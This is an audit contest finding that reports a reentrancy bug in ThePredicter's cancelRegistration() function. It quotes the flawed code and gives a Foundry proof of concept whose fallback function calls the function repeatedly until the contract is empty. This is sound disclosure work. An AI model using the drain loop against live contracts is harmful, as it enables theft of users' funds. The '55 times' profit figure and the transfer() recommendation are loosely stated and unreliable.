Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

[H-2] Reentrancy Vulnerability in `ThePredicter::cancelRegistration()` function.

Summary

There is a reentrancy vulnerability in the ThePredicter::cancelRegistration() function. This vulnerability allows an attacker to repeatedly withdraw funds during the execution of the cancelRegistration function, resulting in the attacker receiving 55 times the amount they paid for the attack.

Vulnerability Details

The ThePredicter::cancelRegistration() function in in line-62 is susceptible to a reentrancy attack. The function sends Ether back to the caller before updating the contract's state. This allows the attacker to repeatedly call ThePredicter::cancelRegistration() through a fallback function before the contract can update its state, draining the contract's funds.

Key points:

  • The attacker can register as a player and then exploit the ThePredicter::cancelRegistration() function.

  • The lack of proper reentrancy protection allows an attacker to repeatedly invoke cancelRegistration, withdrawing funds multiple times during a single transaction.

  • This process continues until the contract's balance is depleted.

function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
@> (bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}
PoC

Add the following to ThePrediter.test.sol test file:

function test_reentrancy() public{
// 1. Create players, give them funds and register them
for (uint256 i = 0; i < 30; ++i) {
address user = makeAddr(string.concat("player", Strings.toString(i+1)));
vm.startPrank(user);
vm.deal(user, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
}
// 2. Give attacker some funds and register them
address attacker = address(this);
vm.startPrank(attacker);
vm.deal(attacker, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
// check: attacker balance before attack
assertEq(address(this).balance, 0.96 ether);
// check: predicter balance before attack
assertEq(thePredicter.getBalance(), 0.04*31 ether);
// 2. call cancelRagistration
vm.startPrank(attacker);
thePredicter.cancelRegistration();
vm.stopPrank();
// check: attacker balance after reentrancy
// stolen: 0.04*30 = 1.2 ether
// original: 1 ether
// total: 2.2 ether
assertEq(address(this).balance, 2.2 ether);
// check: predicter balance after reentrancy!
// = 0
assertEq(thePredicter.getBalance(), 0);
}
fallback() external payable{
address attacker = address(this);
vm.startPrank(attacker);
while(thePredicter.getBalance() >= 0.04 ether){
thePredicter.cancelRegistration();
}
vm.stopPrank();
}

The above test confirms that an attacker can exploit the reentrancy vulnerability in the ThePredicter::cancelRegistration() function to drain all funds from ThePredicter.sol contract.

Impact

  1. Financial Loss: An attacker can withdraw all funds from the contract, resulting in significant financial loss.

  2. Theft Multiplier: The attacker can steal approximately 55 times their initial investment.

  3. Contract Insolvency: The attack leaves the contract with zero balance, making it unable to fulfill its obligations to other users (i.e, no rewards).

Tools Used

  • Manual code review

  • Foundry (for running test cases)

Recommendations

  1. Implement Reentrancy Guard: Use a reentrancy guard mechanism, such as OpenZeppelin's ReentrancyGuard, to prevent reentrant calls to cancelRegistration.

  2. Implement Checks-Effects-Interactions Pattern:
    Modify the cancelRegistration function to update the contract's state before sending Ether.

  3. Use Transfer Instead of Send: Consider using transfer() instead of call() for Ether transactions, as it has a gas stipend that prevents reentrancy.

Updates

Lead Judging Commences

NightHawK Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in cancelRegistration

Reentrancy of ThePredicter::cancelRegistration allows a maliciour user to drain all funds.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.